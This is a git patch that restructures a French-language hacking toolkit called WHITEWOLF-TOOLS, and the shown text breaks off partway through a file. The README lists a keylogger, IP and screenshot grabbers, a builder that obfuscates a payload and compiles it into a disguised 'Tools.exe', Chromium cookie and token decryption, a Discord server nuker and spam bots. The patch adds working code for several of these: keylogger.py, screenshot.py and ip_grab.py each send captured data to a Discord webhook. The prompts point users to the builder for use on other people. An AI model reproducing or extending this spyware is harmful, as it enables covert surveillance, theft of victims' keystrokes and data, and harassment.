From 559586c58dc906ce05f923f6b9ee5527e33b2ed0 Mon Sep 17 00:00:00 2001 From: smallBrat Date: Mon, 22 Jun 2026 22:29:19 +0530 Subject: [PATCH 1/2] refactor: modularize main.py handlers and clean imports --- README.MD | 217 ++++++---- code/core/__init__.py | 3 + code/core/devtools.py | 15 + code/core/menu.py | 12 + code/core/rpc.py | 31 ++ code/covid/__init__.py | 4 + code/covid/build.py | 23 + code/covid/ip_grab.py | 33 ++ code/covid/keylogger.py | 70 +++ code/covid/screenshot.py | 42 ++ code/discord/__init__.py | 5 + code/discord/bot_invite.py | 22 + code/discord/darkweb_display.py | 28 ++ code/discord/nitro.py | 27 ++ code/discord/token_tools.py | 29 ++ code/discord/webhook_spam.py | 38 ++ code/lookup/__init__.py | 7 + code/lookup/archive_check.py | 34 ++ code/lookup/discord_lookup.py | 45 ++ code/lookup/dns_lookup.py | 35 ++ code/lookup/github_lookup.py | 47 ++ code/lookup/google_search.py | 21 + code/lookup/leak_check.py | 30 ++ code/lookup/username_lookup.py | 25 ++ code/security/__init__.py | 5 + code/security/password_gen.py | 35 ++ code/security/proxy.py | 79 ++++ code/security/scraper.py | 30 ++ code/security/web_status.py | 32 ++ code/security/whois_lookup.py | 37 ++ main.py | 732 +++++++++++++------------------- 31 files changed, 1286 insertions(+), 507 deletions(-) create mode 100644 code/core/__init__.py create mode 100644 code/core/devtools.py create mode 100644 code/core/menu.py create mode 100644 code/core/rpc.py create mode 100644 code/covid/__init__.py create mode 100644 code/covid/build.py create mode 100644 code/covid/ip_grab.py create mode 100644 code/covid/keylogger.py create mode 100644 code/covid/screenshot.py create mode 100644 code/discord/__init__.py create mode 100644 code/discord/bot_invite.py create mode 100644 code/discord/darkweb_display.py create mode 100644 code/discord/nitro.py create mode 100644 code/discord/token_tools.py create mode 100644 code/discord/webhook_spam.py create mode 100644 code/lookup/__init__.py create mode 100644 code/lookup/archive_check.py create mode 100644 code/lookup/discord_lookup.py create mode 100644 code/lookup/dns_lookup.py create mode 100644 code/lookup/github_lookup.py create mode 100644 code/lookup/google_search.py create mode 100644 code/lookup/leak_check.py create mode 100644 code/lookup/username_lookup.py create mode 100644 code/security/__init__.py create mode 100644 code/security/password_gen.py create mode 100644 code/security/proxy.py create mode 100644 code/security/scraper.py create mode 100644 code/security/web_status.py create mode 100644 code/security/whois_lookup.py diff --git a/README.MD b/README.MD index d3c7195..9099d81 100644 --- a/README.MD +++ b/README.MD @@ -10,7 +10,7 @@ Suite d'outils en ligne de commande (CLI) pour **OSINT**, **sécurité**, **Disc ``` WHITEWOLF-TOOLS/ -├── main.py # Point d'entrée — menus et logique interactive +├── main.py # Point d'entrée — menus et dispatch vers les handlers ├── api.py # Clés API (ipify, apilayer, viewdns) — ignoré par Git ├── sites.py # Plateformes pour le lookup username ├── darkweb.py # Liens .onion par catégorie (menu Discord → Darkweb) @@ -25,19 +25,60 @@ WHITEWOLF-TOOLS/ │ └── whitewolf.png # Image du projet ├── proxy/ # Dossier proxy (ressources) └── code/ - ├── discordchecker.py # 4C Checker Discord - ├── tiktokchecker.py # 4C Checker TikTok - ├── githubchecker.py # 4C Checker GitHub (pseudos disponibles) - ├── ipscanner.py # Scanner de ports (1–65535) via socket - ├── nukerdiscord.py # Discord Nuker bot (WIP) - ├── mrrobot.py # Script Mr Robot - ├── genip.py # Génération d'IP aléatoires → webhook - ├── Spamtlgrm.py # Spam bot Telegram via token bot - ├── passwordmanager.py # Gestionnaire de mots de passe chiffré (Fernet) + ├── core/ # Handlers core (RPC, devtools, informations) + │ ├── rpc.py # Discord Rich Presence + │ ├── devtools.py # Outil ASCII art dev + │ └── menu.py # Affichage des informations + ├── lookup/ # Handlers menu Lookup + │ ├── username_lookup.py # Lookup multi-sites + │ ├── google_search.py # Recherche Google + │ ├── dns_lookup.py # Lookup DNS / abuse contact + │ ├── discord_lookup.py # Lookup profil Discord (vaultcord) + │ ├── github_lookup.py # Lookup dernier commit GitHub + │ ├── leak_check.py # Vérification fuites email (leakcheck.io) + │ └── archive_check.py # Snapshots Wayback Machine + ├── security/ # Handlers menu Security + │ ├── proxy.py # VPN/Proxy via Edge + │ ├── password_gen.py # Générateur de mots de passe + │ ├── web_status.py # Vérification temps de réponse site + │ ├── scraper.py # Récupération headers HTTP + │ └── whois_lookup.py # Lookup WHOIS domaine + ├── discord/ # Handlers menu Discord + │ ├── nitro.py # Génération codes Nitro + │ ├── webhook_spam.py # Spam webhook Discord + │ ├── darkweb_display.py # Affichage liens .onion + │ ├── token_tools.py # Génération token factice depuis ID + │ └── bot_invite.py # URL d'invitation bot OAuth2 + ├── covid/ # Handlers menu Covid + │ ├── keylogger.py # Keylogger → webhook Discord + │ ├── ip_grab.py # Récupération IP publique → webhook + │ ├── screenshot.py # Capture d'écran → webhook + │ └── build.py # Build covid.exe (config + builder) + ├── modules/ # Modules métier existants + │ ├── discordchecker.py # 4C Checker Discord + │ ├── tiktokchecker.py # 4C Checker TikTok + │ ├── githubchecker.py # 4C Checker GitHub (pseudos disponibles) + │ ├── ipscanner.py # Scanner de ports (1–65535) via socket + │ ├── nukerdiscord.py # Discord Nuker bot (WIP) + │ ├── mrrobot.py # Script Mr Robot + │ ├── genip.py # Génération d'IP aléatoires → webhook + │ ├── Spamtlgrm.py # Spam bot Telegram via token bot + │ ├── passwordmanager.py # Gestionnaire de mots de passe chiffré (Fernet) + │ ├── ai.py # Chat AI (Groq) + │ ├── robloxsearch.py # Recherche utilisateur Roblox + │ ├── letsenscript.py # Vérification SSL/TLS + │ ├── checking.py # Vérification email (holehe) + │ ├── rpc.py # Configuration RPC Discord + │ ├── webcamcapt.py # Capture webcam → webhook + │ ├── tokencheck.py # Vérification token Discord + │ ├── embedsender.py # Envoi embed via webhook + │ ├── ipreputation.py # Vérification réputation IP + │ └── autofollowinsta.py # Automation Instagram └── challange/ ├── firstchallange.py # Challenge OSINT interactif ├── pentestchallange.py # Challenge Pentest Web - └── osint.png # Image du challenge OSINT + └── templates/ + └── index.html # Template challenge pentest ``` --- @@ -53,48 +94,56 @@ python main.py │ ├── [I] Informations │ ├── 1. IP ──────────────────► geo.ipify.org (pays, ville, ISP, VPN) │ ├── 2. Number ──────────────► apilayer.net (pays, format, opérateur) -│ ├── 3. Username ────────────► scan multi-sites (sites.py) -│ ├── 4. Google ──────────────► ouvre la recherche dans le navigateur -│ ├── 5. DNS ─────────────────► viewdns.info (abuse contact) -│ ├── 6. Discord ─────────────► vaultcord (profil par ID) -│ ├── 7. Github ──────────────► dernier commit public (email auteur, etc.) -│ ├── 8. Leak Mail ───────────► leakcheck.io → result.json -│ ├── 9. Archive Web ─────────► archive.org (snapshots Wayback) -│ ├── 10. 4C Tiktok ───────────► checker TikTok (code/tiktokchecker.py) -│ ├── 11. 4C Github ───────────► checker GitHub (code/githubchecker.py) -│ ├── 12. Github Check ────────► checker GitHub (code/githubchecker.py) -│ ├── 13. IP Scanner ──────────► scan de ports 1–65535 (code/ipscanner.py) -│ └── 14. Quit +│ ├── 3. Username ────────────► scan multi-sites (`code/lookup/username_lookup.py`) +│ ├── 4. Google ──────────────► ouvre la recherche (`code/lookup/google_search.py`) +│ ├── 5. DNS ─────────────────► viewdns.info abuse contact (`code/lookup/dns_lookup.py`) +│ ├── 6. Discord ─────────────► vaultcord profil par ID (`code/lookup/discord_lookup.py`) +│ ├── 7. Github ──────────────► dernier commit public (`code/lookup/github_lookup.py`) +│ ├── 8. Leak Mail ───────────► leakcheck.io → result.json (`code/lookup/leak_check.py`) +│ ├── 9. Archive Web ─────────► archive.org snapshots (`code/lookup/archive_check.py`) +│ ├── 10. 4C Tiktok ───────────► checker TikTok (`code/modules/tiktokchecker.py`) +│ ├── 11. 4C Github ───────────► checker GitHub (`code/modules/githubchecker.py`) +│ ├── 12. Github Check ────────► checker GitHub (`code/modules/githubchecker.py`) +│ ├── 13. IP Scanner ──────────► scan ports 1–65535 (`code/modules/ipscanner.py`) +│ ├── 14. AI Chat ─────────────► chat IA Groq (`code/modules/ai.py`) +│ ├── 15. Roblox ──────────────► recherche user Roblox (`code/modules/robloxsearch.py`) +│ ├── 16. Holehe ──────────────► vérification email (`code/modules/checking.py`) +│ └── 17. Quit │ ├── 2. SECURITY │ ├── [I] Informations -│ ├── 1. PROXY (VPN) ─────────► Edge + proxy HTTP (durée min. 10 s) -│ ├── 2. Gen Password ────────► mot de passe aléatoire (min. 10 car.) -│ ├── 3. Status Website ──────► temps de réponse HTTP (ms) -│ ├── 4. Scraper ─────────────► en-têtes HTTP → result.txt -│ ├── 5. Whois ───────────────► whois du domaine -│ ├── 6. Gen IP ──────────────► génération d'IP (code/genip.py) -│ ├── 7. Spam Telegram ───────► bot spam Telegram (code/Spamtlgrm.py) -│ ├── 8. Passwd Manager ──────► gestionnaire de mots de passe (code/passwordmanager.py) -│ ├── 9. Osint ───────────────► challenge OSINT (code/challange/firstchallange.py) -│ ├── 10. Pentest Web ─────────► challenge Pentest (code/challange/pentestchallange.py) -│ └── 11. Quit +│ ├── 1. PROXY (VPN) ─────────► Edge + proxy HTTP (`code/security/proxy.py`) +│ ├── 2. Gen Password ────────► mot de passe aléatoire (`code/security/password_gen.py`) +│ ├── 3. Status Website ──────► temps de réponse HTTP (`code/security/web_status.py`) +│ ├── 4. Scraper ─────────────► en-têtes HTTP → result.txt (`code/security/scraper.py`) +│ ├── 5. Whois ───────────────► whois domaine (`code/security/whois_lookup.py`) +│ ├── 6. Gen IP ──────────────► génération IP aléatoires (`code/modules/genip.py`) +│ ├── 7. Spam Telegram ───────► bot spam Telegram (`code/modules/Spamtlgrm.py`) +│ ├── 8. Passwd Manager ──────► gestionnaire mots de passe (`code/modules/passwordmanager.py`) +│ ├── 9. Osint ───────────────► challenge OSINT (`code/challange/firstchallange.py`) +│ ├── 10. Pentest Web ─────────► challenge Pentest (`code/challange/pentestchallange.py`) +│ ├── 11. Webcam ──────────────► capture webcam (`code/modules/webcamcapt.py`) +│ ├── 12. IP Reputation ───────► réputation IP (`code/modules/ipreputation.py`) +│ └── 13. Quit │ ├── 3. DISCORD │ ├── [I] Informations -│ ├── 1. Nitro Gen ───────────► codes gift aléatoires → nitro.txt si valide -│ ├── 2. Spaming Webhook ─────► POST en boucle (toutes les 5 s) -│ ├── 3. Darkweb ─────────────► affiche les liens (darkweb.py) -│ ├── 4. Token BruteForce ────► génère un token factice depuis un ID -│ ├── 5. Bot to id ───────────► URL d'invitation OAuth2 (permissions 8) -│ ├── 6. 4C Checker ──────────► checker Discord (code/discordchecker.py) -│ └── 7. Quit +│ ├── 1. Nitro Gen ───────────► codes gift aléatoires (`code/discord/nitro.py`) +│ ├── 2. Spaming Webhook ─────► POST en boucle (`code/discord/webhook_spam.py`) +│ ├── 3. Darkweb ─────────────► affiche liens .onion (`code/discord/darkweb_display.py`) +│ ├── 4. Token BruteForce ────► génère token factice (`code/discord/token_tools.py`) +│ ├── 5. Bot to id ───────────► URL OAuth2 bot (`code/discord/bot_invite.py`) +│ ├── 6. 4C Checker ──────────► checker Discord (`code/modules/discordchecker.py`) +│ ├── 7. RPC Conf ────────────► config RPC Discord (`code/modules/rpc.py`) +│ ├── 8. Token Check ─────────► vérif token Discord (`code/modules/tokencheck.py`) +│ ├── 9. Webhook Sender ──────► envoi embed (`code/modules/embedsender.py`) +│ └── 10. Quit │ ├── 4. COVID (menu utilitaires) -│ ├── 1. KeyLogger ───────────► frappe clavier → webhook Discord -│ ├── 2. Grabing IP ──────────► IP publique → webhook Discord -│ ├── 3. ScreenShot ──────────► capture d'écran → webhook Discord -│ ├── 4. Build Covid ─────────► compile covid.py en .exe (builder.py) +│ ├── 1. KeyLogger ───────────► frappe clavier → webhook (`code/covid/keylogger.py`) +│ ├── 2. Grabing IP ──────────► IP publique → webhook (`code/covid/ip_grab.py`) +│ ├── 3. ScreenShot ──────────► capture d'écran → webhook (`code/covid/screenshot.py`) +│ ├── 4. Build Covid ─────────► compile covid.exe (`code/covid/build.py`) │ └── 5. Quit │ └── 5. Quit (accueil) @@ -119,14 +168,17 @@ python main.py | Github | user + repo | api.github.com | email/nom/date du dernier commit | | Leak Mail | Email | leakcheck.io | `result.json` | | Archive Web | URL | archive.org | Snapshot Wayback le plus proche | -| 4C Tiktok | Nombre + webhook | Génération de pseudos | Résultats via webhook | -| 4C Github | Nombre + webhook | Génération d'essais (code/githubchecker.py) | Résultats via webhook | -| Github Check | Pseudo GitHub | `code/githubchecker.py` | Statut disponibilité du pseudo | -| **IP Scanner** | Adresse IP | `socket` (local) | Liste des ports ouverts (1–65535) | +| 4C Tiktok | Nombre + webhook | `code/modules/tiktokchecker.py` | Résultats via webhook | +| 4C Github | Nombre + webhook | `code/modules/githubchecker.py` | Résultats via webhook | +| Github Check | Pseudo GitHub | `code/modules/githubchecker.py` | Statut disponibilité du pseudo | +| **IP Scanner** | Adresse IP | `code/modules/ipscanner.py` | Liste des ports ouverts (1–65535) | +| AI Chat | Question | `code/modules/ai.py` (Groq) | Réponse IA | +| Roblox | ID utilisateur | `code/modules/robloxsearch.py` | Profil Roblox | +| Holehe | Email | `code/modules/checking.py` | Comptes associés à l'email | **Sites username** (extrait) : GitHub, Reddit, TikTok, Instagram, X, Facebook, Twitch, Steam, GitLab, Medium, Roblox, Chess.com, Linktree, Gravatar… — liste complète dans `sites.py`. -### IP Scanner (`code/ipscanner.py`) +### IP Scanner (`code/modules/ipscanner.py`) Scanner de ports TCP complet sur une IP cible : @@ -138,38 +190,43 @@ Scanner de ports TCP complet sur une IP cible : | Choix | Description | | -------------- | ----------------------------------------------------------------------------------------------------------------------------------- | -| PROXY (VPN) | Lance Microsoft Edge avec `--proxy-server`, vérifie l'IP via ipify, arrêt au timeout ou touche clavier | -| Gen Password | `ascii_letters` + `digits` + `punctuation`, longueur ≥ 10 | -| Status Website | `GET` sur l'URL → délai en millisecondes | -| Scraper | `HEAD` → affiche et enregistre les headers dans `result.txt` | -| Whois | Informations WHOIS du domaine (registrar, dates, DNS…) | -| Gen IP | Génère des adresses IP aléatoires et les envoie via webhook | -| Spam Telegram | Bot spam Telegram — demande un token bot + message, envoie 98 fois en boucle via `/start` | -| Passwd Manager | Gestionnaire de mots de passe chiffré via Fernet (gen clé, ajout mdp chiffré, déchiffrement) | -| Osint | Challenge OSINT interactif — trouver une ville, un office de tourisme et une date à partir d'une image (`code/challange/osint.png`) | -| Pentest Web | Challenge Pentest Web interactif (`code/challange/pentestchallange.py`) | +| PROXY (VPN) | Lance Edge avec `--proxy-server`, vérifie l'IP via ipify, arrêt au timeout ou touche clavier (`code/security/proxy.py`) | +| Gen Password | `ascii_letters` + `digits` + `punctuation`, longueur ≥ 10 (`code/security/password_gen.py`) | +| Status Website | `GET` sur l'URL → délai en millisecondes (`code/security/web_status.py`) | +| Scraper | `HEAD` → affiche et enregistre les headers dans `result.txt` (`code/security/scraper.py`) | +| Whois | Informations WHOIS domaine (registrar, dates, DNS…) (`code/security/whois_lookup.py`) | +| Gen IP | Génère des adresses IP aléatoires et les envoie via webhook (`code/modules/genip.py`) | +| Spam Telegram | Bot spam Telegram — demande token bot + message, envoie en boucle (`code/modules/Spamtlgrm.py`) | +| Passwd Manager | Gestionnaire mots de passe chiffré via Fernet (`code/modules/passwordmanager.py`) | +| Osint | Challenge OSINT interactif (`code/challange/firstchallange.py`) | +| Pentest Web | Challenge Pentest Web (`code/challange/pentestchallange.py`) | +| Webcam | Capture webcam → webhook (`code/modules/webcamcapt.py`) | +| IP Reputation | Vérification réputation IP (`code/modules/ipreputation.py`) | ### Discord (3) | Choix | Description | Fichier généré | | ---------------- | ------------------------------------------------------------ | -------------- | -| Nitro Gen | Teste `https://discord.gift/{16 chars}` en boucle | `nitro.txt` | -| Spaming Webhook | Envoie `{ "content": message }` en POST | — | -| Darkweb | Liste par catégorie (moteurs, marchés, wikis…) | — | -| Token BruteForce | `base64(user_id).random.random` (démo, non fonctionnel réel) | — | -| Bot to id | Lien `oauth2/authorize` admin (perm 8) | — | -| 4C Checker | Génération / vérification de pseudos Discord | — | +| Nitro Gen | Teste `https://discord.gift/{16 chars}` en boucle (`code/discord/nitro.py`) | `nitro.txt` | +| Spaming Webhook | Envoie `{ "content": message }` en POST (`code/discord/webhook_spam.py`) | — | +| Darkweb | Liste par catégorie (moteurs, marchés, wikis…) (`code/discord/darkweb_display.py`) | — | +| Token BruteForce | `base64(user_id).random.random` démo (`code/discord/token_tools.py`) | — | +| Bot to id | Lien `oauth2/authorize` admin (perm 8) (`code/discord/bot_invite.py`) | — | +| 4C Checker | Génération / vérification pseudos Discord (`code/modules/discordchecker.py`) | — | +| RPC Conf | Configuration RPC Discord (`code/modules/rpc.py`) | — | +| Token Check | Vérification token Discord (`code/modules/tokencheck.py`) | — | +| Webhook Sender | Envoi embed via webhook (`code/modules/embedsender.py`) | — | **Catégories Darkweb** (`darkweb.py`) : Search Engine, Bitcoin Anonymity, DDoS, Market, Cooks, Torrents, Social Media, Wikis, Government, Communities, Educational. ### Covid (4) -| Choix | Description | -| ----------- | ---------------------------------------------------------------- | -| KeyLogger | `pynput` → chaque touche postée sur un webhook (buffer 1 s) | -| Grabing IP | IP via `checkip.amazonaws.com` → webhook | -| ScreenShot | Capture d'écran via `mss` → webhook Discord | -| Build Covid | Ouvre `builder.py` — compile `covid.py` en `covid-exe/Tools.exe` | +| Choix | Description | +| ----------- | ------------------------------------------------------------------------------------ | +| KeyLogger | `pynput` → chaque touche postée sur un webhook (buffer 1 s) (`code/covid/keylogger.py`) | +| Grabing IP | IP via `checkip.amazonaws.com` → webhook (`code/covid/ip_grab.py`) | +| ScreenShot | Capture d'écran via `mss` → webhook Discord (`code/covid/screenshot.py`) | +| Build Covid | Ouvre `builder.py` — compile `covid.py` en `covid-exe/Tools.exe` (`code/covid/build.py`) | #### Script autonome `covid.py` @@ -219,7 +276,7 @@ Bot de nuker Discord via token : - Récupère la liste des membres du serveur - Ban automatiquement tous les membres -### Password Manager (`code/passwordmanager.py`) +### Password Manager (`code/modules/passwordmanager.py`) Gestionnaire de mots de passe avec chiffrement **Fernet** (symétrique AES) : @@ -231,7 +288,7 @@ Gestionnaire de mots de passe avec chiffrement **Fernet** (symétrique AES) : > ⚠️ Conserve ta `key.txt` — sans elle, le déchiffrement est impossible. -### Spam Telegram (`code/Spamtlgrm.py`) +### Spam Telegram (`code/modules/Spamtlgrm.py`) Bot spam Telegram activé via la commande `/start` : @@ -273,14 +330,18 @@ python main.py | `requests` | Toutes les requêtes HTTP | | `pynput` | KeyLogger (menu Covid + `covid.py`) | | `mss` | Captures d'écran | -| `python-telegram-bot` | Spam bot Telegram (`code/Spamtlgrm.py`) | -| `python-whois` | Lookup WHOIS (menu Security) | -| `cryptography` | Chiffrement Fernet (`code/passwordmanager.py`) | +| `python-telegram-bot` | Spam bot Telegram (`code/modules/Spamtlgrm.py`) | +| `python-whois` | Lookup WHOIS (`code/security/whois_lookup.py`) | +| `cryptography` | Chiffrement Fernet (`code/modules/passwordmanager.py`) | | `pillow` | Manipulation d'images | | `pywin32` | Décryptage des tokens (`scanner.py`) | -| `pycryptodome` | Décryptage AES des cookies Chromium (`scanner.py`) | +| `pycryptodome` | Décryptage AES cookies Chromium (`scanner.py`) | | `pyarmor` | Obfuscation avant build (`builder.py`) | | `pyinstaller` | Compilation en `.exe` (`builder.py`) | +| `pypresence` | Discord Rich Presence (`code/core/rpc.py`) | +| `questionary` | Interface interactive (`code/modules/ipscanner.py`, `code/modules/robloxsearch.py`) | +| `holehe` | Vérification email (`code/modules/checking.py`) | +| `instagrapi` | Automation Instagram (`code/modules/autofollowinsta.py`) | | `questionary` | Interface de sélection interactive (`ipscanner.py`) | | `discord.py` | Discord Nuker (`code/nukerdiscord.py`) | diff --git a/code/core/__init__.py b/code/core/__init__.py new file mode 100644 index 0000000..feaf325 --- /dev/null +++ b/code/core/__init__.py @@ -0,0 +1,3 @@ +from code.core.rpc import start_rpc +from code.core.devtools import devtools +from code.core.menu import show_informations diff --git a/code/core/devtools.py b/code/core/devtools.py new file mode 100644 index 0000000..f357ab9 --- /dev/null +++ b/code/core/devtools.py @@ -0,0 +1,15 @@ +import os +from pyfiglet import Figlet +from code.colors import MAGENTA + + +def devtools(): + os.system("cls") + choix = input(f"""{MAGENTA} + ████▄ ██████ ██ ██ ██████ ▄████▄ ▄████▄ ██ ▄█████ + ██ ██ ██▄▄ ██▄▄██ ██ ██ ██ ██ ██ ██ ▀▀▀▄▄▄ + ████▀ ██▄▄▄▄ ▀██▀ ██ ▀████▀ ▀████▀ ██████ █████▀ + + Devtools for xql : """) + f = Figlet(font="slant") + print(f.renderText(choix)) diff --git a/code/core/menu.py b/code/core/menu.py new file mode 100644 index 0000000..204c6c5 --- /dev/null +++ b/code/core/menu.py @@ -0,0 +1,12 @@ +import os +import time +from code.colors import RED + + +def show_informations(): + os.system("cls") + print(f"""{RED} Informations {RED} + Telegram - https://t.me/whitewolf_tools + Gunslol - https://guns.lol/xqldev + """) + time.sleep(5) diff --git a/code/core/rpc.py b/code/core/rpc.py new file mode 100644 index 0000000..0ec5d83 --- /dev/null +++ b/code/core/rpc.py @@ -0,0 +1,31 @@ +import time +from pypresence import Presence, DiscordNotFound + + +def start_rpc(): + try: + rpc = Presence("1441226984024965221") + rpc.connect() + + rpc.update( + state="White Wolf", + details="Best Tools", + large_image="tools", + large_text="by xql", + buttons=[ + { + "label": "Repository", + "url": "https://github.com/Python-loving/WHITEWOLF-TOOLS" + }, + { + "label": "Telegram", + "url": "https://t.me/whitewolf_tools" + } + ] + ) + + while True: + time.sleep(15) + + except DiscordNotFound: + return diff --git a/code/covid/__init__.py b/code/covid/__init__.py new file mode 100644 index 0000000..ecda5c7 --- /dev/null +++ b/code/covid/__init__.py @@ -0,0 +1,4 @@ +from code.covid.keylogger import keylogger +from code.covid.ip_grab import grab_ip +from code.covid.screenshot import screenshot +from code.covid.build import build_covid diff --git a/code/covid/build.py b/code/covid/build.py new file mode 100644 index 0000000..a3ff4e7 --- /dev/null +++ b/code/covid/build.py @@ -0,0 +1,23 @@ +import os +import json +from builder import builder +from code.colors import MAGENTA + + +def build_covid(): + os.system("cls") + try: + webhook = input(f"""{MAGENTA} + + ██ ██ ██ █████▄ ██ ██ ▄█████ █████▄ ██ ██ ██ ██ ████▄ + ██▄▄██ ██ ██▄▄██▄ ██ ██ ▀▀▀▄▄▄ ██▄▄██ ██ ██ ██ ██ ██ ██ + ▀██▀ ██ ██ ██ ▀████▀ █████▀ ██▄▄█▀ ▀████▀ ██ ██████ ████▀ + + Met Ton Webhook : """) + except ValueError as e: + print(f"Error {e}") + return + + with open("config.json", "w", encoding="utf-8") as f: + json.dump({"webhook": webhook}, f, ensure_ascii=False, indent=4) + builder() diff --git a/code/covid/ip_grab.py b/code/covid/ip_grab.py new file mode 100644 index 0000000..a326b20 --- /dev/null +++ b/code/covid/ip_grab.py @@ -0,0 +1,33 @@ +import os +import time +import requests + + +def grab_ip(): + os.system("cls") + try: + ip_grabing = input(""" + ██████╗ ██████╗ █████╗ ██████╗ ██╗███╗ ██╗ ██████╗ ██╗██████╗ + ██╔════╝ ██╔══██╗██╔══██╗██╔══██╗██║████╗ ██║██╔════╝ ██║██╔══██╗ + ██║ ███╗██████╔╝███████║██████╔╝██║██╔██╗ ██║██║ ███╗ ██║██████╔╝ + ██║ ██║██╔══██╗██╔══██║██╔══██╗██║██║╚██╗██║██║ ██║ ██║██╔═══╝ + ╚██████╔╝██║ ██║██║ ██║██████╔╝██║██║ ╚████║╚██████╔╝ ██║██║ + ╚═════╝ ╚═╝ ╚═╝╚═╝ ╚═╝╚═════╝ ╚═╝╚═╝ ╚═══╝ ╚═════╝ ╚═╝╚═╝ + + Met Ton webhook (Pour tester sur des gens autre que vous allez sur le covid builder) : """) + except ValueError as e: + print(f"Error {e}") + return + + webhook = ip_grabing + try: + ip = requests.get("https://checkip.amazonaws.com").text.strip() + data = { + "content": ip, + "username": "WhiteWolf", + "avatar_url": "https://i.postimg.cc/nhfNtJbK/f65aba67730462b50f7ec15c4bdb605d.jpg" + } + requests.post(webhook, json=data) + except ValueError: + print("Value error") + time.sleep(3) diff --git a/code/covid/keylogger.py b/code/covid/keylogger.py new file mode 100644 index 0000000..9324844 --- /dev/null +++ b/code/covid/keylogger.py @@ -0,0 +1,70 @@ +import os +import time +import requests +import json +import threading +from code.colors import BLUE + + +def keylogger(): + try: + from pynput import keyboard + except ImportError: + print("Error: 'pynput' package is required for keylogger.") + print("Install it with: pip install pynput") + time.sleep(5) + return + os.system("cls") + webhook_choice = input(f"""{BLUE} + + ▄████▄ ▒█████ ██▒ █▓ ██▓▓█████▄ ██▓ ▒█████ ▄████ ▓█████ ██▀███ + ▒██▀ ▀█ ▒██▒ ██▒▓██░ █▒▓██▒▒██▀ ██▌ ▓██▒ ▒██▒ ██▒ ██▒ ▀█▒▓█ ▀ ▓██ ▒ ██▒ + ▒▓█ ▄ ▒██░ ██▒ ▓██ █▒░▒██▒░██ █▌ ▒██░ ▒██░ ██▒▒██░▄▄▄░▒███ ▓██ ░▄█ ▒ + ▒▓▓▄ ▄██▒▒██ ██░ ▒██ █░░░██░░▓█▄ ▌ ▒██░ ▒██ ██░░▓█ ██▓▒▓█ ▄ ▒██▀▀█▄ + ▒ ▓███▀ ░░ ████▓▒░ ▒▀█░ ░██░░▒████▓ ░██████▒░ ████▓▒░░▒▓███▀▒░▒████▒░██▓ ▒██▒ + ░ ░▒ ▒ ░░ ▒░▒░▒░ ░ ▐░ ░▓ ▒▒▓ ▒ ░ ▒░▓ ░░ ▒░▒░▒░ ░▒ ▒ ░░ ▒░ ░░ ▒▓ ░▒▓░ + ░ ▒ ░ ▒ ▒░ ░ ░░ ▒ ░ ░ ▒ ▒ ░ ░ ▒ ░ ░ ▒ ▒░ ░ ░ ░ ░ ░ ░▒ ░ ▒░ + ░ ░ ░ ░ ▒ ░░ ▒ ░ ░ ░ ░ ░ ░ ░ ░ ░ ▒ ░ ░ ░ ░ ░░ ░ + ░ ░ ░ ░ ░ ░ ░ ░ ░ ░ ░ ░ ░ ░ ░ + ░ ░ ░ + {BLUE} + Met ton webhook (Pour tester sur des gens autre que vous allez sur le covid builder): """) + os.system("cls") + + webhook = webhook_choice + buffer = "" + timer = None + + def send_buffer(): + nonlocal buffer + if buffer: + data = { + "content": buffer, + "username": "WhiteWolf", + "avatar_url": "https://i.postimg.cc/nhfNtJbK/f65aba67730462b50f7ec15c4bdb605d.jpg" + } + requests.post(webhook, json=data) + buffer = "" + + def reset_timer(): + nonlocal timer + if timer: + timer.cancel() + timer = threading.Timer(1.0, send_buffer) + timer.start() + + def on_press(key): + nonlocal buffer + try: + char = key.char + buffer += char + except AttributeError: + if key == keyboard.Key.space: + buffer += " " + elif key == keyboard.Key.enter: + buffer += "\n" + reset_timer() + + listener = keyboard.Listener(on_press=on_press) + listener.start() + listener.join() diff --git a/code/covid/screenshot.py b/code/covid/screenshot.py new file mode 100644 index 0000000..db5de49 --- /dev/null +++ b/code/covid/screenshot.py @@ -0,0 +1,42 @@ +import os +import io +import time +import requests +from code.colors import RED + + +def screenshot(): + try: + import mss + import mss.tools + except ImportError: + print("Error: 'mss' package is required for screenshot.") + print("Install it with: pip install mss") + time.sleep(5) + return + os.system("cls") + try: + screen = input(""" {RED} + ███████╗ ██████╗██████╗ ███████╗███████╗███╗ ██╗ + ██╔════╝██╔════╝██╔══██╗██╔════╝██╔════╝████╗ ██║ + ███████╗██║ ██████╔╝█████╗ █████╗ ██╔██╗ ██║ + ╚════██║██║ ██╔══██╗██╔══╝ ██╔══╝ ██║╚██╗██║ + ███████║╚██████╗██║ ██║███████╗███████╗██║ ╚████║ + ╚══════╝ ╚═════╝╚═╝ ╚═╝╚══════╝╚══════╝╚═╝ ╚═══╝ + Met Ton webhook discord (Pour tester sur des gens autre que vous allez sur le covid builder): """) + except ValueError as e: + print(f"Error {e}") + return + + webhook = screen + with mss.MSS() as sct: + img = sct.grab(sct.monitors[1]) + img_bytes = mss.tools.to_png(img.rgb, img.size) + files = { + "file": ("screen.png", io.BytesIO(img_bytes), "image/png") + } + requests.post(webhook, data={ + "content": "screenshot", + "username": "WhiteWolf", + "avatar_url": "https://i.postimg.cc/nhfNtJbK/f65aba67730462b50f7ec15c4bdb605d.jpg" + }, files=files) diff --git a/code/discord/__init__.py b/code/discord/__init__.py new file mode 100644 index 0000000..4eb2e40 --- /dev/null +++ b/code/discord/__init__.py @@ -0,0 +1,5 @@ +from code.discord.nitro import nitro_gen +from code.discord.webhook_spam import webhook_spam +from code.discord.darkweb_display import darkweb_display +from code.discord.token_tools import token_bruteforce +from code.discord.bot_invite import bot_invite diff --git a/code/discord/bot_invite.py b/code/discord/bot_invite.py new file mode 100644 index 0000000..523d8f6 --- /dev/null +++ b/code/discord/bot_invite.py @@ -0,0 +1,22 @@ +import os +import time + + +def bot_invite(): + os.system("cls") + id_bot = int(input(""" + ██╗███╗ ██╗██╗ ██╗██╗████████╗ + ██║████╗ ██║██║ ██║██║╚══██╔══╝ + ██║██╔██╗ ██║██║ ██║██║ ██║ + ██║██║╚██╗██║╚██╗ ██╔╝██║ ██║ + ██║██║ ╚████║ ╚████╔╝ ██║ ██║ + ╚═╝╚═╝ ╚═══╝ ╚═══╝ ╚═╝ ╚═╝ + + Met L'id de ton bot : """)) + try: + id = id_bot + print(f"https://discord.com/oauth2/authorize?client_id={id}&permissions=8&integration_type=0&scope=bot") + time.sleep(5) + except ValueError: + print("Problème...") + time.sleep(5) diff --git a/code/discord/darkweb_display.py b/code/discord/darkweb_display.py new file mode 100644 index 0000000..75fabf0 --- /dev/null +++ b/code/discord/darkweb_display.py @@ -0,0 +1,28 @@ +import os +import time +from darkweb import links + + +def 